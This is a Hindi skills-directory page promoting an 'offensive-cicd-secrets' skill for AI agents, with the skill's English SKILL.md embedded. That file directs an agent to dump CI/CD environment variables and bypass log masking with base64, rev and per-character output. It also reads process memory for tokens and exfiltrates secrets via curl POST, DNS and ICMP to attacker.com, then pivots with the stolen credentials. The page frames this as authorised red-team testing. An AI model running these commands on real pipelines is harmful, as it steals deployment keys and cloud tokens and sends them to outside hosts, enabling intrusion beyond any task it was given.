offensive-cicd-secrets
यह क्या करती है
यह स्किल अधिकृत परीक्षण में CI/CD वातावरण में उजागर secrets खोजने की एक कार्यप्रणाली है। इसमें environment variables, vault की गलत configurations और OIDC federation जोखिम शामिल हैं। यह उन सुरक्षा पेशेवरों के लिए है जो जाँचते हैं कि पाइपलाइन credentials कैसे रखती और इस्तेमाल करती है।
कब इस्तेमाल करें
- ✓जब आप अधिकृत मूल्यांकन में जाँच रहे हों कि CI/CD job deployment keys या tokens उजागर करता है या नहीं।
- ✓जब आप HashiCorp Vault या किसी cloud secrets manager में गलत configurations जाँचना चाहते हों।
- ✓जब आपको पाइपलाइन और cloud खाते के बीच OIDC trust की समीक्षा करनी हो।
Skill का लिंक
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/cicd/offensive-cicd-secrets/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमें अपने CI वातावरण के परीक्षण की अनुमति है। जाँचिए कि build secrets या cloud tokens उजागर हैं या नहीं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
स्किल मानती है कि पाइपलाइन में code execution हो चुका है, फिर environment की सूची बनाती है, secret जैसे patterns वाले variables छाँटती है और उपलब्ध tokens से credential stores में खोज करती है। फिर वह cloud और OIDC trust रास्ते जाँचती है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Offensive CI/CD Secrets Extraction
Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
Quick Workflow
- Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
- Enumerate the execution environment -- platform, runner type, available tools, network access.
- Dump all environment variables and filter for secrets patterns.
- Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
- Check for vault/secrets-manager integrations and test for misconfigurations.
- Examine build logs, caches, and artifacts for leaked credentials.
- Test OIDC federation trust if cloud provider integration is present.
- Validate recovered credentials and determine their scope.
- Pivot using recovered secrets to access additional systems, registries, and cloud resources.
Environment Variable Extraction
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
Direct Extraction
# Full environment dump -- works on all platforms
env | sort
# Base64 encode to bypass log masking
env | base64
# Reverse the string to defeat pattern-matching masks
env | rev
# Character-by-character extraction defeats even advanced masking
for var in $(env | grep -i -E 'key|secret|token|pass|cred|auth' | cut -d= -f1); do
value=$(printenv "$var")
echo -n "$var="
echo "$value" | fold -w1 | paste -sd' '
done
# Hex encoding for binary-safe exfiltration
env | xxd -p | tr -d '\n'
Targeted Pattern Matching
# Extract high-value variables by naming convention
env | grep -iE '^(AWS_|AZURE_|GCP_|GOOGLE_|GITHUB_|GITLAB_|DOCKER_|NPM_|ARTIFACTORY_|VAULT_|DATABASE_|DB_|REDIS_|MONGO_|POSTGRES_|MYSQL_|SSH_|PRIVATE_|API_KEY|SECRET|TOKEN|PASSWORD|CREDENTIAL|AUTH)' | sort
# Search for variables containing credential-shaped values
env | grep -E '=[A-Za-z0-9+/]{20,}={0,2}$' # Base64-encoded values
env | grep -E '=ghp_[A-Za-z0-9]{36}' # GitHub personal access tokens
env | grep -E '=ghs_[A-Za-z0-9]{36}' # GitHub installation tokens
env | grep -E '=glpat-[A-Za-z0-9\-]{20}' # GitLab personal access tokens
env | grep -E '=AKIA[A-Z0-9]{16}' # AWS access key IDs
env | grep -E '=sk-[A-Za-z0-9]{20,}' # Stripe/OpenAI-style keys
# Find secrets in process memory (if /proc is available)
strings /proc/self/environ 2>/dev/null
strings /proc/*/environ 2>/dev/null | sort -u | grep -iE 'secret|token|key|pass'
Exfiltration Channels
# HTTPS POST exfiltration (most reliable)
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect
# DNS exfiltration for restricted networks
for secret in $(env | grep -i SECRET | base64 | fold -w 60); do
nslookup "${secret}.exfil.attacker.com" 2>/dev/null
done
# ICMP exfiltration when HTTP is blocked
env | xxd -p | fold -w 32 | while read chunk; do
ping -c 1 -p "$chunk" attacker.com 2>/dev/null
done
# Write to pipeline artifact for later retrieval
env | base64 > /tmp/build-metrics.dat
# Then upload as artifact through the platform's mechanism
Vault and Secrets Manager Misconfigurations
CI/CD pipelines frequently integrate with secrets managers. You exploit misconfigurations in how pipelines authenticate to and retrieve secrets from these systems.
HashiCorp Vault
# Check if Vault environment is configured
echo "VAULT_ADDR: $VAULT_A
अक्सर पूछे जाने वाले सवाल
क्या इसके लिए पहले पाइपलाइन में पहुँच चाहिए?
हाँ। स्किल पाइपलाइन में code execution से शुरू होती है, और उसे पाने के तरीके के लिए एक अलग स्किल की ओर इशारा करती है।
यह कौन से vaults कवर करती है?
यह HashiCorp Vault और AWS, Azure और GCP के secrets managers कवर करती है।
क्या यह सिर्फ़ अधिकृत उपयोग के लिए है?
हाँ। यह लिखित अनुमति वाले मूल्यांकन के लिए लिखी गई है।
जानकारी
लेखक का मूल विवरण
Comprehensive secrets extraction methodology targeting CI/CD environments across all major platforms. Covers environment variable extraction from build contexts, exploitation of vault and secrets-manager misconfigurations (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager), runner and agent token abuse for lateral movement, OIDC federation attacks exploiting trust relationships between CI/CD providers and cloud platforms, build log leakage analysis for inadvertently exposed credentials, cache poisoning techniques for credential exfiltration, platform-specific credential
repo: SnailSploit/Claude-Red
लोकप्रियता
- GitHub स्टार
- 10k
- रैंकिंग में स्थान
- #11949
- लाइसेंस
- MIT
- अपडेट की गई
- 12/10/2026
कमेंट
- …
इस repository की और skills
offensive-active-directory
10kआपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।
offensive-netexec
10kआपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।
offensive-api-abuse
10kआपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।
offensive-api-security
10kआपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।